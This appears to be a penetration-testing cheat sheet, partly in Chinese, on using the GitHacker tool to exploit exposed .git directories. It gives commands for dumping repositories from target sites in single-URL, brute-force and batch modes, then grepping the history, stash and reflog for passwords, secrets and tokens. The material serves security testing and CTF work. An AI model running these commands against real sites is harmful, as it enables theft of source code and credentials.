githacker-git-leak

GitHacker .git disclosure exploitation

GitHacker focuses on .git directory disclosureComplete recovery—not only obtain the source code, but also recover stash, all branches/tags, and reflog. Passwords and debug code that developers have deleted are often hidden in these places.

Project address:https://github.com/WangYihang/GitHacker

Installation

pip install GitHacker
# 或（若团队内已分发 f8x CLI——WgpSec 内部工具集，本仓库不含其源码与安装方式）：
# f8x -install githacker

Basic usage

# 快速利用
githacker --url http://target/.git/ --output-folder result

Brute-force enumerate branch/tag names (must be enabled when the target has directory listing disabled)

githacker --brute --url http://target/.git/ --output-folder result

Batch targets (one URL per line)

githacker --brute --url-file websites.txt --output-folder result

## Docker 用法（推荐）

远程 .git 目录可能被植入恶意内容（如 hooks 脚本），在 Docker 中运行更安全：

```bash
docker run -v $(pwd)/results:/tmp/githacker/results \
  wangyihang/githacker \
  --brute --output-folder /tmp/githacker/results \
  --url http://target/.git/

Post-recovery audit process

The directory recovered by GitHacker is a complete git repository and can be audited directly with git commands:

cd result/target/

# 1. 查看提交历史（重点找被删除的敏感信息）
git log --oneline --all
git log -p --all -S "password"
git log -p --all -S "secret"
git log -p --all -S "flag"

# 2. 查看所有分支（开发/测试分支常有敏感信息）
git branch -a
git checkout dev       # 切到开发分支看看

# 3. 查看 stash（开发者暂存的修改）
git stash list
git stash show -p stash@{0}

# 4. 查看 reflog（找到被 reset 掉的提交）
git reflog
git show <commit-hash>

# 5. 搜索凭据
grep -rn "password\|secret\|token\|api_key\|flag{" .

Comparison with other tools

Capability	GitHacker	git-dumper	GitHack
Source code recovery	✅	✅	✅
Stash recovery	✅	✅	❌
All branches	✅ (brute-force enumeration)	❌	❌
All tags	✅ (brute-force enumeration)	❌	❌
Reflog	✅	✅	❌
No directory listing	✅	✅	✅

git-dumper is suitable for quickly obtaining source code; GitHacker's --brute mode can cover more branches and tags, making it suitable for in-depth auditing.

Decision tree

发现 /.git/HEAD 返回 200？
├─ 目录列表开启（200）→ githacker 直接利用
├─ 目录列表关闭（403）→ githacker --brute（暴力枚举分支/标签）
├─ 需要快速拿源码 → git-dumper 也行
└─ 多个目标批量扫 → githacker --url-file websites.txt